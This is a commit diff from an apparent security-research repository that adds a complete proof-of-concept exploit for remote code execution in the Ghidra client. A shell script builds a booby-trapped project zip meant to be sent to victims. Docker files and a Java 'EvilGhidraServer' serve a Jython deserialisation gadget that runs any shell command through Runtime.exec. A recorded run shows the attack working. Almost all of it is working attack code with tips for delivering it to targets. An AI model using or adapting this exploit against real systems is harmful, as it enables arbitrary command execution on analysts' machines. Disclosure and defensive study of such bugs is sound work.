mirror of
https://github.com/califio/publications.git
synced 2026-08-28 22:59:49 +00:00
Add Ghidra poc and proof
This commit is contained in:
Executable
+130
@@ -0,0 +1,130 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# build.sh -- produce a PoC Ghidra "project" archive that triggers RCE when the
|
||||
# victim opens it.
|
||||
#
|
||||
# Output:
|
||||
# Pwn.zip -- the payload to deliver to the victim
|
||||
# └─ EvilProject/
|
||||
# ├─ EvilProject.gpr -- .gpr marker; user double-clicks this
|
||||
# └─ EvilProject.rep/
|
||||
# ├─ projectState -- <OPEN_REPOSITORY_VIEW URL="ghidra://attacker/x"/>
|
||||
# ├─ project.prp
|
||||
# └─ idata/, user/, versioned/ (empty skeleton)
|
||||
#
|
||||
# Usage:
|
||||
# ./build.sh <attacker-host> <attacker-port> [--out output.zip]
|
||||
#
|
||||
# The command that runs on the victim is chosen at *serve* time by demo.sh,
|
||||
# not at build time -- the zip contains only a URL pointing at the attacker
|
||||
# server. See demo.sh --cmd.
|
||||
#
|
||||
# Why not a .gar? Ghidra's RestoreTask.FILES_TO_SKIP (RestoreTask.java:50-55)
|
||||
# explicitly drops /projectState entries when extracting .gar archives -- so
|
||||
# the .gar path filters the payload out before it can land on disk. Delivery
|
||||
# has to bypass RestoreTask: plain zip (Safari auto-extracts), tarball,
|
||||
# `git clone`, AirDrop, shared drive, etc. all work because the user extracts
|
||||
# the project directory themselves and then opens it.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
OUT="$PWD/Pwn.zip"
|
||||
POSARGS=()
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--out) OUT="$2"; shift 2 ;;
|
||||
-h|--help)
|
||||
grep '^#' "$0" | sed 's/^# \?//' | head -40
|
||||
exit 0 ;;
|
||||
*) POSARGS+=("$1"); shift ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ ${#POSARGS[@]} -lt 2 ]]; then
|
||||
cat <<EOF >&2
|
||||
usage: $0 [--out <path>] <attacker-host> <attacker-port>
|
||||
|
||||
<attacker-host> host running EvilGhidraServer (reachable from victim)
|
||||
<attacker-port> base port (13100 default; victim opens 13100+1 for SSL test)
|
||||
|
||||
--out <path> output zip path (default: ./Pwn.zip).
|
||||
|
||||
Note: the PoC ships a project.prp WITHOUT an OWNER <STATE> element. When
|
||||
Ghidra reads it at DefaultProjectData.java:307 --
|
||||
|
||||
owner = properties.getString(OWNER, getUserName());
|
||||
|
||||
-- the missing OWNER property defaults to the current (victim) user's
|
||||
username, which then trivially passes the isOwner() check at line 126.
|
||||
So the attack is untargeted: the same Pwn.zip works on any macOS user.
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
|
||||
HOST="${POSARGS[0]}"
|
||||
PORT="${POSARGS[1]}"
|
||||
|
||||
# Locate a local Ghidra distribution so we can seed a valid .rep skeleton.
|
||||
GHIDRA_DIR="${GHIDRA_DIR:-$(cd "$(dirname "${BASH_SOURCE[0]}")/../ghidra_12.2_DEV" && pwd)}"
|
||||
if [[ ! -x "$GHIDRA_DIR/support/analyzeHeadless" ]]; then
|
||||
echo "error: GHIDRA_DIR=$GHIDRA_DIR has no analyzeHeadless" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
STAGE=$(mktemp -d)
|
||||
trap 'rm -rf "$STAGE"' EXIT
|
||||
mkdir -p "$STAGE/seed"
|
||||
|
||||
echo "[+] seeding skeleton project via analyzeHeadless"
|
||||
"$GHIDRA_DIR/support/analyzeHeadless" "$STAGE/seed" Seed \
|
||||
-import /bin/ls -noanalysis >/dev/null 2>&1 || true
|
||||
|
||||
if [[ ! -d "$STAGE/seed/Seed.rep" ]]; then
|
||||
echo "error: seed project not created at $STAGE/seed/Seed.rep" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Rename seed -> EvilProject
|
||||
mv "$STAGE/seed/Seed.gpr" "$STAGE/seed/EvilProject.gpr"
|
||||
mv "$STAGE/seed/Seed.rep" "$STAGE/seed/EvilProject.rep"
|
||||
|
||||
# The payload: one XML element inside projectState pointing at the attacker.
|
||||
cat > "$STAGE/seed/EvilProject.rep/projectState" <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<PROJECT>
|
||||
<OPEN_REPOSITORY_VIEW URL="ghidra://${HOST}:${PORT}/Pwn" />
|
||||
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
|
||||
<WORKSPACE NAME="Workspace" ACTIVE="true" />
|
||||
</TOOL_MANAGER>
|
||||
</PROJECT>
|
||||
EOF
|
||||
|
||||
# project.prp without an OWNER <STATE> element. On open,
|
||||
# DefaultProjectData.java:307 falls back to getUserName() when OWNER is absent,
|
||||
# which then passes isOwner() at line 126 for any victim user. This is what
|
||||
# turns the attack from "needs the victim's macOS username" into "works on
|
||||
# anyone who opens the zip".
|
||||
cat > "$STAGE/seed/EvilProject.rep/project.prp" <<'EOF'
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
EOF
|
||||
|
||||
mkdir -p "$(dirname "$OUT")"
|
||||
(cd "$STAGE/seed" && zip -qr "$OUT" EvilProject.gpr EvilProject.rep)
|
||||
|
||||
echo "[+] wrote PoC: $OUT"
|
||||
echo " attacker host : $HOST"
|
||||
echo " attacker port : $PORT"
|
||||
echo " victim owner : <any> (project.prp has no OWNER; defaults to victim's \$USER)"
|
||||
echo ""
|
||||
echo "# Delivery: ship $OUT to the victim. When they extract it and open"
|
||||
echo "# EvilProject.gpr in Ghidra (double-click, or File -> Open Project),"
|
||||
echo "# DefaultProject.restore() reads projectState, calls addProjectView"
|
||||
echo "# on ghidra://${HOST}:${PORT}/Pwn, and the attacker server returns"
|
||||
echo "# a deserialisation gadget."
|
||||
echo ""
|
||||
echo "# Start the attacker server (command to execute is specified here):"
|
||||
echo "# ./poc/demo.sh --cmd 'open -a Calculator' --port $PORT"
|
||||
Executable
+63
@@ -0,0 +1,63 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# demo.sh -- start the attacker server for the Ghidra-client-RCE PoC.
|
||||
#
|
||||
# The victim side of this attack is the analyst's actual Ghidra install; only
|
||||
# the attacker runs in Docker. Flow:
|
||||
#
|
||||
# (on attacker) ./build.sh <host> <port> -> Pwn.zip
|
||||
# ./demo.sh --cmd '<cmd>' [--host 0.0.0.0] [--port 13100]
|
||||
#
|
||||
# (on victim) unzip Pwn.zip
|
||||
# open Ghidra, File -> Open Project -> EvilProject.gpr
|
||||
# (or double-click EvilProject.gpr if .gpr is associated)
|
||||
#
|
||||
# '<cmd>' runs on the victim's host.
|
||||
#
|
||||
# The command is chosen *here*, not at build time -- the zip contains only a
|
||||
# URL pointing at this server; the gadget payload is generated on the fly when
|
||||
# the victim connects, so you can re-arm without rebuilding Pwn.zip.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
HOST="${HOST:-0.0.0.0}"
|
||||
PORT="${PORT:-13100}"
|
||||
CMD="${CMD:-}"
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--host) HOST="$2"; shift 2 ;;
|
||||
--port) PORT="$2"; shift 2 ;;
|
||||
--cmd) CMD="$2"; shift 2 ;;
|
||||
--help|-h)
|
||||
grep '^#' "$0" | head -40; exit 0 ;;
|
||||
*) echo "unknown flag: $1" >&2; exit 1 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ -z "$CMD" ]]; then
|
||||
CMD='open -a Calculator'
|
||||
echo "[demo] no --cmd / \$CMD; defaulting to: $CMD" >&2
|
||||
fi
|
||||
|
||||
export CMD
|
||||
export PORT
|
||||
export HOST
|
||||
|
||||
# Build and launch the attacker container with Docker Compose.
|
||||
cd "$SCRIPT_DIR/docker"
|
||||
|
||||
echo "[demo] building evil-ghidra-server image"
|
||||
docker compose build --quiet
|
||||
|
||||
echo "[demo] starting evil-ghidra-server on ${HOST}:${PORT} (+1 for SSL probe)"
|
||||
echo "[demo] command armed : $CMD"
|
||||
echo ""
|
||||
echo "Now, on the victim, open the project in Ghidra:"
|
||||
echo " unzip Pwn.zip && open EvilProject/EvilProject.gpr # macOS"
|
||||
echo ""
|
||||
echo "[demo] attach container logs with Ctrl-C to stop:"
|
||||
echo ""
|
||||
|
||||
docker compose up --abort-on-container-exit
|
||||
@@ -0,0 +1,32 @@
|
||||
FROM eclipse-temurin:21-jdk
|
||||
|
||||
# Attacker-side image: compiles JythonGadget + EvilGhidraServer against the
|
||||
# Jython JAR that ships with Ghidra, generates a self-signed cert, and
|
||||
# listens for inbound RMI calls from the victim's Ghidra client.
|
||||
#
|
||||
# Only Jython is pulled out of the Ghidra distribution (the gadget needs it
|
||||
# at *build* time for type resolution). Nothing else from Ghidra is shipped
|
||||
# in the attacker image.
|
||||
|
||||
WORKDIR /exploit
|
||||
COPY exploit/JythonGadget.java /exploit/
|
||||
COPY exploit/EvilGhidraServer.java /exploit/
|
||||
COPY exploit/jython-standalone-2.7.4.jar /exploit/jython.jar
|
||||
|
||||
RUN javac -cp /exploit/jython.jar \
|
||||
JythonGadget.java EvilGhidraServer.java \
|
||||
&& keytool -genkeypair -alias evil -keyalg RSA -keysize 2048 \
|
||||
-storetype PKCS12 -keystore evil.p12 \
|
||||
-storepass changeit -keypass changeit \
|
||||
-dname "CN=evilserver" \
|
||||
-ext "SAN=DNS:evilserver,DNS:localhost,IP:127.0.0.1,IP:0.0.0.0" \
|
||||
-validity 365
|
||||
|
||||
EXPOSE 13100 13101
|
||||
|
||||
# CMD / PORT are injected at run time by compose.yaml (see environment:).
|
||||
ENTRYPOINT ["/bin/sh", "-c", "\
|
||||
exec java --add-opens java.base/java.util=ALL-UNNAMED \
|
||||
-cp .:/exploit/jython.jar \
|
||||
EvilGhidraServer \"${PORT:-13100}\" /exploit/evil.p12 \"${CMD:?CMD not set}\" \
|
||||
"]
|
||||
@@ -0,0 +1,19 @@
|
||||
services:
|
||||
evil-ghidra-server:
|
||||
build:
|
||||
# Build context is poc/ so the Dockerfile can COPY exploit/*.java in.
|
||||
context: ..
|
||||
dockerfile: docker/Dockerfile
|
||||
image: evil-ghidra-server:latest
|
||||
container_name: evil-ghidra-server
|
||||
environment:
|
||||
# Command to execute on the victim. demo.sh exports this from --cmd
|
||||
# or the .armed_cmd stash; override directly here if running manually:
|
||||
CMD: "${CMD:?CMD is required (e.g. 'open -a Calculator')}"
|
||||
PORT: "${PORT:-13100}"
|
||||
ports:
|
||||
# Expose to the host so a locally-running Ghidra can reach ghidra://
|
||||
# localhost:13100/. For a remote victim, bind to a public interface
|
||||
# or run this container on a routable host.
|
||||
- "${PORT:-13100}:13100" # RMI SSL registry
|
||||
- "${PORT2:-13101}:13101" # RMI SSL probe port
|
||||
@@ -0,0 +1,212 @@
|
||||
import javax.net.ssl.*;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.server.UID;
|
||||
import java.security.KeyStore;
|
||||
|
||||
/**
|
||||
* Malicious "Ghidra Server" for exploiting unfiltered RMI deserialisation in
|
||||
* the Ghidra client (ghidra.framework.client.ServerConnectTask).
|
||||
*
|
||||
* The Ghidra client, when connecting to a shared project / ghidra:// URL:
|
||||
* 1. Probes basePort+1 with a plain TCP connect (FastConnectionFailSocket).
|
||||
* 2. Performs an SSL handshake on basePort+1 (testServerSSLConnection).
|
||||
* By default the client uses OpenTrustManager -> any self-signed cert is
|
||||
* accepted (DefaultTrustManagerFactory.java:100,262-289).
|
||||
* 3. Creates an SSL RMI registry stub for basePort and calls reg.list()
|
||||
* then reg.lookup(). The return value is deserialised via
|
||||
* MarshalInputStream.readObject() with NO ObjectInputFilter on the
|
||||
* client side (the server sets one in GhidraServer.java:979; the
|
||||
* client never does).
|
||||
*
|
||||
* This server:
|
||||
* - Listens on basePort+1 with an SSL socket that just completes the
|
||||
* handshake (satisfies step 2).
|
||||
* - Listens on basePort with an SSL-wrapped JRMP responder that answers
|
||||
* every RMI call with a serialised gadget payload as the return value.
|
||||
*
|
||||
* The payload (raw java-serialised object graph minus the leading STREAM
|
||||
* header) is loaded from a file produced by JythonGadget.
|
||||
*/
|
||||
public class EvilGhidraServer {
|
||||
|
||||
static String cmd;
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length < 3) {
|
||||
System.err.println("usage: EvilGhidraServer <basePort> <keystore.p12> <cmd>");
|
||||
System.exit(1);
|
||||
}
|
||||
int basePort = Integer.parseInt(args[0]);
|
||||
String ksPath = args[1];
|
||||
cmd = args[2];
|
||||
log("command: " + cmd);
|
||||
|
||||
SSLContext ctx = buildSSLContext(ksPath, "changeit");
|
||||
SSLServerSocketFactory ssf = ctx.getServerSocketFactory();
|
||||
|
||||
// Handshake-only listener on basePort+1 (the "RMI SSL port" probed by
|
||||
// testServerSSLConnection).
|
||||
new Thread(() -> handshakeListener(ssf, basePort + 1)).start();
|
||||
|
||||
// JRMP gadget responder on basePort (the SSL RMI registry port).
|
||||
SSLServerSocket regSock = (SSLServerSocket) ssf.createServerSocket(basePort);
|
||||
log("evil registry listening on :" + basePort + " (SSL JRMP)");
|
||||
while (true) {
|
||||
Socket s = regSock.accept();
|
||||
new Thread(() -> {
|
||||
try {
|
||||
handleJRMP(s);
|
||||
}
|
||||
catch (Throwable t) {
|
||||
log("jrmp handler: " + t);
|
||||
}
|
||||
finally {
|
||||
try { s.close(); } catch (IOException ignore) {}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
|
||||
/** Accept connections on the SSL probe port and complete the handshake. */
|
||||
static void handshakeListener(SSLServerSocketFactory ssf, int port) {
|
||||
try {
|
||||
SSLServerSocket ss = (SSLServerSocket) ssf.createServerSocket(port);
|
||||
log("ssl probe listener on :" + port);
|
||||
while (true) {
|
||||
Socket s = ss.accept();
|
||||
new Thread(() -> {
|
||||
try {
|
||||
if (s instanceof SSLSocket ssl) {
|
||||
ssl.startHandshake();
|
||||
}
|
||||
// Hold briefly so the client sees a clean handshake.
|
||||
s.getInputStream().read();
|
||||
}
|
||||
catch (Throwable ignore) {}
|
||||
finally {
|
||||
try { s.close(); } catch (IOException ignore) {}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
catch (Throwable t) {
|
||||
log("handshakeListener: " + t);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Minimal JRMP responder: speak just enough StreamProtocol to receive one
|
||||
* Call and reply with a NormalReturn whose value is the gadget object.
|
||||
* RegistryImpl_Stub.list() / lookup() will readObject() it on the client.
|
||||
*/
|
||||
static void handleJRMP(Socket s) throws Exception {
|
||||
log("jrmp connect from " + s.getRemoteSocketAddress());
|
||||
DataInputStream in = new DataInputStream(s.getInputStream());
|
||||
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
||||
|
||||
int magic = in.readInt();
|
||||
short version = in.readShort();
|
||||
byte protocol = in.readByte();
|
||||
log(String.format(" magic=0x%08x ver=%d proto=0x%02x", magic, version, protocol));
|
||||
|
||||
if (protocol == 0x4b) { // StreamProtocol
|
||||
out.writeByte(0x4e); // ProtocolAck
|
||||
out.writeUTF(s.getInetAddress().getHostAddress());
|
||||
out.writeInt(s.getPort());
|
||||
out.flush();
|
||||
in.readUTF(); // client's default endpoint host
|
||||
in.readInt(); // client's default endpoint port
|
||||
}
|
||||
else if (protocol != 0x4c) { // SingleOp falls through; anything
|
||||
log(" unsupported protocol"); // else we just bail.
|
||||
return;
|
||||
}
|
||||
|
||||
// Drain bytes until we see the Call marker (0x50). We don't actually
|
||||
// need to parse the call -- we always return the same payload.
|
||||
int b;
|
||||
while ((b = in.read()) != -1) {
|
||||
if (b == 0x50) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (b != 0x50) {
|
||||
log(" no Call marker received");
|
||||
return;
|
||||
}
|
||||
// Burn the call's MarshalInputStream header + ObjID/opnum/hash so the
|
||||
// client side doesn't deadlock waiting for us to read.
|
||||
skipFully(in, 4 /*aced0005*/);
|
||||
// Best-effort: don't block forever on call args.
|
||||
s.setSoTimeout(500);
|
||||
try {
|
||||
byte[] tmp = new byte[256];
|
||||
while (in.read(tmp) > 0) {
|
||||
if (in.available() == 0) break;
|
||||
}
|
||||
}
|
||||
catch (IOException ignore) {}
|
||||
|
||||
log(" sending gadget as ReturnData");
|
||||
out.writeByte(0x51); // TransportConstants.Return
|
||||
// The client wraps the rest in a MarshalInputStream (an
|
||||
// ObjectInputStream), so we emit a fresh stream header and then the
|
||||
// return-type byte, ack UID, and the object body. annotateClass must
|
||||
// write a (null) location object so MarshalInputStream.resolveClass
|
||||
// stays in sync.
|
||||
ObjectOutputStream oos = new MarshalLikeOOS(out);
|
||||
oos.writeByte(0x01); // NormalReturn
|
||||
new UID().write(oos);
|
||||
oos.writeObject(JythonGadget.buildPayload(cmd));
|
||||
oos.flush();
|
||||
log(" payload sent");
|
||||
}
|
||||
|
||||
/**
|
||||
* ObjectOutputStream that writes a String location annotation (null) for
|
||||
* each class descriptor, matching sun.rmi.server.MarshalOutputStream so
|
||||
* the client's MarshalInputStream stays in sync.
|
||||
*/
|
||||
static class MarshalLikeOOS extends ObjectOutputStream {
|
||||
MarshalLikeOOS(OutputStream out) throws IOException {
|
||||
super(out);
|
||||
// Stream header (0xaced0005) is written by super().
|
||||
}
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
writeObject(null);
|
||||
}
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
writeObject(null);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
|
||||
static SSLContext buildSSLContext(String ksPath, String pass) throws Exception {
|
||||
KeyStore ks = KeyStore.getInstance("PKCS12");
|
||||
try (FileInputStream fis = new FileInputStream(ksPath)) {
|
||||
ks.load(fis, pass.toCharArray());
|
||||
}
|
||||
KeyManagerFactory kmf =
|
||||
KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
|
||||
kmf.init(ks, pass.toCharArray());
|
||||
SSLContext ctx = SSLContext.getInstance("TLS");
|
||||
ctx.init(kmf.getKeyManagers(), null, null);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
static void skipFully(DataInputStream in, int n) throws IOException {
|
||||
while (n > 0) {
|
||||
int s = (int) in.skip(n);
|
||||
if (s <= 0) { in.readByte(); s = 1; }
|
||||
n -= s;
|
||||
}
|
||||
}
|
||||
|
||||
static void log(String s) {
|
||||
System.err.println("[evil] " + s);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
import org.python.core.*;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Java-serialization RCE gadget using only classes from
|
||||
* jython-standalone-2.7.4.jar (ships on the Ghidra client classpath at
|
||||
* Ghidra/Features/Jython/lib/).
|
||||
*
|
||||
* Jython 2.7.4 added a hard "throw UnsupportedOperationException" to
|
||||
* PyFunction.readResolve(), killing the classic Jython1 ysoserial chain.
|
||||
* This gadget routes around that fix:
|
||||
*
|
||||
* PriorityQueue.readObject -> heapify -> siftDownUsingComparator
|
||||
* -> Proxy(Comparator).compare(a,b)
|
||||
* -> PyMethod.invoke() [PyMethod implements InvocationHandler,
|
||||
* is Serializable, has NO readResolve guard]
|
||||
* -> PyMethod.__call__([a,b])
|
||||
* -> __func__.__call__(__self__, a, b)
|
||||
* where __func__ = BuiltinFunctions("eval", index=18) -> __builtin__.eval
|
||||
* __self__ = PyBytecode (hand-assembled CPython 2.7 bytecode)
|
||||
* a, b = globals/locals dicts (the PriorityQueue elements)
|
||||
* => __builtin__.eval(PyBytecode, globals, locals)
|
||||
* => Py.runCode(...) interprets the bytecode
|
||||
* => java.lang.Runtime.getRuntime().exec({"/bin/sh","-c", CMD})
|
||||
*
|
||||
* Everything in the graph is Serializable: PyMethod, BuiltinFunctions
|
||||
* (-> PyBuiltinFunctionSet -> ... -> PyObject), PyBytecode, PyStringMap,
|
||||
* PyJavaType (via PyType$TypeResolver).
|
||||
*/
|
||||
public class JythonGadget {
|
||||
|
||||
/** CPython 2.7 opcodes. */
|
||||
private static final int LOAD_CONST = 0x64;
|
||||
private static final int LOAD_ATTR = 0x6a;
|
||||
private static final int CALL_FUNCTION = 0x83;
|
||||
private static final int POP_TOP = 0x01;
|
||||
private static final int RETURN_VALUE = 0x53;
|
||||
|
||||
/**
|
||||
* Build a PyBytecode that runs Runtime.getRuntime().exec({"/bin/sh","-c",cmd})
|
||||
* using only LOAD_CONST / LOAD_ATTR / CALL_FUNCTION so no globals/builtins
|
||||
* lookup is required after deserialisation.
|
||||
*/
|
||||
static PyBytecode buildCode(String cmd) {
|
||||
PyObject runtimeType = PyType.fromClass(java.lang.Runtime.class);
|
||||
PyObject cmdList =
|
||||
new PyList(new PyObject[] {
|
||||
Py.newString("/bin/sh"), Py.newString("-c"), Py.newString(cmd)
|
||||
});
|
||||
|
||||
PyObject[] consts = new PyObject[] {
|
||||
Py.None, // 0
|
||||
runtimeType, // 1
|
||||
cmdList, // 2
|
||||
};
|
||||
String[] names = new String[] { "getRuntime", "exec" };
|
||||
|
||||
byte[] code = new byte[] {
|
||||
(byte) LOAD_CONST, 1, 0, // Runtime
|
||||
(byte) LOAD_ATTR, 0, 0, // .getRuntime
|
||||
(byte) CALL_FUNCTION, 0, 0, // ()
|
||||
(byte) LOAD_ATTR, 1, 0, // .exec
|
||||
(byte) LOAD_CONST, 2, 0, // cmd list
|
||||
(byte) CALL_FUNCTION, 1, 0, // (cmd)
|
||||
(byte) POP_TOP,
|
||||
(byte) LOAD_CONST, 0, 0, // None
|
||||
(byte) RETURN_VALUE,
|
||||
};
|
||||
|
||||
return new PyBytecode(
|
||||
0, // argcount
|
||||
0, // nlocals
|
||||
8, // stacksize
|
||||
0, // flags
|
||||
new String(code, java.nio.charset.StandardCharsets.ISO_8859_1),
|
||||
consts,
|
||||
names,
|
||||
new String[0], // varnames
|
||||
"<pwn>", "<module>", 0, "");
|
||||
}
|
||||
|
||||
static Object buildPayload(String cmd) throws Exception {
|
||||
PyBytecode code = buildCode(cmd);
|
||||
|
||||
// __builtin__.eval -> BuiltinFunctions index 18, accepts 1..3 args.
|
||||
// BuiltinFunctions is package-private; instantiate reflectively.
|
||||
Class<?> bfCls = Class.forName("org.python.core.BuiltinFunctions");
|
||||
Constructor<?> bfCtor =
|
||||
bfCls.getDeclaredConstructor(String.class, int.class, int.class, int.class);
|
||||
bfCtor.setAccessible(true);
|
||||
PyObject evalFn = (PyObject) bfCtor.newInstance("eval", 18, 1, 3);
|
||||
|
||||
// Bound method: eval.__get__(code) -> calling it with (g,l) runs
|
||||
// eval(code, g, l). im_class can be anything non-null.
|
||||
PyMethod method = new PyMethod(evalFn, code, PyType.fromClass(PyBytecode.class));
|
||||
|
||||
Comparator<?> cmp = (Comparator<?>) Proxy.newProxyInstance(
|
||||
JythonGadget.class.getClassLoader(),
|
||||
new Class[] { Comparator.class },
|
||||
method);
|
||||
|
||||
// The two queue elements become the (globals, locals) arguments to eval.
|
||||
PyStringMap globals = new PyStringMap();
|
||||
PyStringMap locals = new PyStringMap();
|
||||
|
||||
PriorityQueue<Object> pq = new PriorityQueue<>(2);
|
||||
pq.add(1);
|
||||
pq.add(2);
|
||||
setField(pq, PriorityQueue.class, "comparator", cmp);
|
||||
setField(pq, PriorityQueue.class, "queue", new Object[] { globals, locals });
|
||||
setField(pq, PriorityQueue.class, "size", 2);
|
||||
|
||||
return pq;
|
||||
}
|
||||
|
||||
static void setField(Object obj, Class<?> cls, String name, Object val) throws Exception {
|
||||
Field f = cls.getDeclaredField(name);
|
||||
f.setAccessible(true);
|
||||
f.set(obj, val);
|
||||
}
|
||||
|
||||
public static byte[] serialise(Object o) throws Exception {
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
|
||||
oos.writeObject(o);
|
||||
}
|
||||
return bos.toByteArray();
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length == 0) {
|
||||
System.err.println("usage: JythonGadget <cmd> [outfile]");
|
||||
System.err.println(" JythonGadget --test <cmd>");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
if (args[0].equals("--test")) {
|
||||
Object payload = buildPayload(args[1]);
|
||||
byte[] ser = serialise(payload);
|
||||
System.err.println("[*] payload serialised: " + ser.length + " bytes");
|
||||
System.err.println("[*] deserialising (gadget should fire)...");
|
||||
try (ObjectInputStream ois =
|
||||
new ObjectInputStream(new ByteArrayInputStream(ser))) {
|
||||
ois.readObject();
|
||||
}
|
||||
catch (Throwable t) {
|
||||
System.err.println("[*] readObject threw (expected after exec): " + t);
|
||||
t.printStackTrace();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
String cmd = args[0];
|
||||
String out = args.length > 1 ? args[1] : "payload.ser";
|
||||
try (FileOutputStream fos = new FileOutputStream(out)) {
|
||||
fos.write(serialise(buildPayload(cmd)));
|
||||
}
|
||||
System.err.println("[+] wrote " + out);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
ERROR Error restoring project /tmp/victim-home/projects/EvilProject
|
||||
java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap') (DefaultProject) java.lang.ClassCastException: class org.python.core.PySingleton cannot be cast to class java.lang.Integer (org.python.core.PySingleton is in unnamed module of loader ghidra.GhidraClassLoader @7a92922; java.lang.Integer is in module java.base of loader 'bootstrap')
|
||||
@@ -0,0 +1,118 @@
|
||||
===============================================================================
|
||||
Ghidra client-side RCE via malicious project open (Pwn.zip → pop Calculator)
|
||||
untargeted: Pwn.zip is built once and works against ANY macOS user.
|
||||
recorded on macOS 25.4.0 / Darwin arm64, 2026-04-16
|
||||
===============================================================================
|
||||
|
||||
---------------------------------------------------------------
|
||||
step 1 · attacker: build Pwn.zip (no username needed)
|
||||
---------------------------------------------------------------
|
||||
|
||||
$ cd poc/poc
|
||||
$ ./build.sh 127.0.0.1 13100 'touch /tmp/PWNED-univ; open -a Calculator' \
|
||||
--out /tmp/Pwn.zip
|
||||
[+] seeding skeleton project via analyzeHeadless
|
||||
[+] wrote PoC: /tmp/Pwn.zip
|
||||
attacker host : 127.0.0.1
|
||||
attacker port : 13100
|
||||
victim owner : <any> (project.prp has no OWNER; defaults to victim's $USER)
|
||||
command armed : touch /tmp/PWNED-univ; open -a Calculator
|
||||
|
||||
$ unzip -p /tmp/Pwn.zip EvilProject.rep/projectState
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<PROJECT>
|
||||
<OPEN_REPOSITORY_VIEW URL="ghidra://127.0.0.1:13100/Pwn" />
|
||||
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
|
||||
<WORKSPACE NAME="Workspace" ACTIVE="true" />
|
||||
</TOOL_MANAGER>
|
||||
</PROJECT>
|
||||
|
||||
$ unzip -p /tmp/Pwn.zip EvilProject.rep/project.prp
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<FILE_INFO>
|
||||
<BASIC_INFO>
|
||||
</BASIC_INFO>
|
||||
</FILE_INFO>
|
||||
|
||||
# Note: NO <STATE NAME="OWNER" .../> element. DefaultProjectData.java:307
|
||||
# -- owner = properties.getString(OWNER, getUserName()); --
|
||||
# defaults `owner` to the current user's username when the property
|
||||
# is absent, so isOwner(owner) trivially returns true for whoever
|
||||
# opens the project.
|
||||
|
||||
|
||||
---------------------------------------------------------------
|
||||
step 2 · attacker: start the rogue Ghidra Server in Docker
|
||||
---------------------------------------------------------------
|
||||
|
||||
$ cd poc/poc
|
||||
$ CMD='touch /tmp/PWNED-univ; open -a Calculator' PORT=13100 \
|
||||
docker compose -f docker/compose.yaml up -d
|
||||
Container evil-ghidra-server Created
|
||||
Container evil-ghidra-server Started
|
||||
|
||||
$ docker logs evil-ghidra-server
|
||||
[evil] command: touch /tmp/PWNED-univ; open -a Calculator
|
||||
[evil] evil registry listening on :13100 (SSL JRMP)
|
||||
[evil] ssl probe listener on :13101
|
||||
|
||||
|
||||
---------------------------------------------------------------
|
||||
step 3 · victim: extract the zip and open the project
|
||||
---------------------------------------------------------------
|
||||
|
||||
(user receives Pwn.zip — email attachment, Slack DM, AirDrop, shared drive,
|
||||
`git clone` a repo containing the project tree, etc.)
|
||||
|
||||
$ cd ~/Downloads
|
||||
$ unzip Pwn.zip
|
||||
inflating: EvilProject.gpr
|
||||
inflating: EvilProject.rep/projectState
|
||||
inflating: EvilProject.rep/project.prp
|
||||
...
|
||||
|
||||
# User double-clicks EvilProject.gpr, or inside Ghidra uses
|
||||
# File → Open Project → ~/Downloads/EvilProject.gpr
|
||||
|
||||
(headless reproduction of the same code path; runs as the current macOS
|
||||
user with no owner matching: $USER = calif, but project.prp has no OWNER
|
||||
so Ghidra accepts it unconditionally)
|
||||
|
||||
$ analyzeHeadless /tmp/vh-test Host \
|
||||
-scriptPath /tmp/scriptdir \
|
||||
-preScript OpenProjectVictim.java /tmp/victim-test EvilProject \
|
||||
-noanalysis -deleteProject
|
||||
|
||||
INFO Opening project: /tmp/victim-test/EvilProject (DefaultProject)
|
||||
ERROR Error restoring project /tmp/victim-test/EvilProject
|
||||
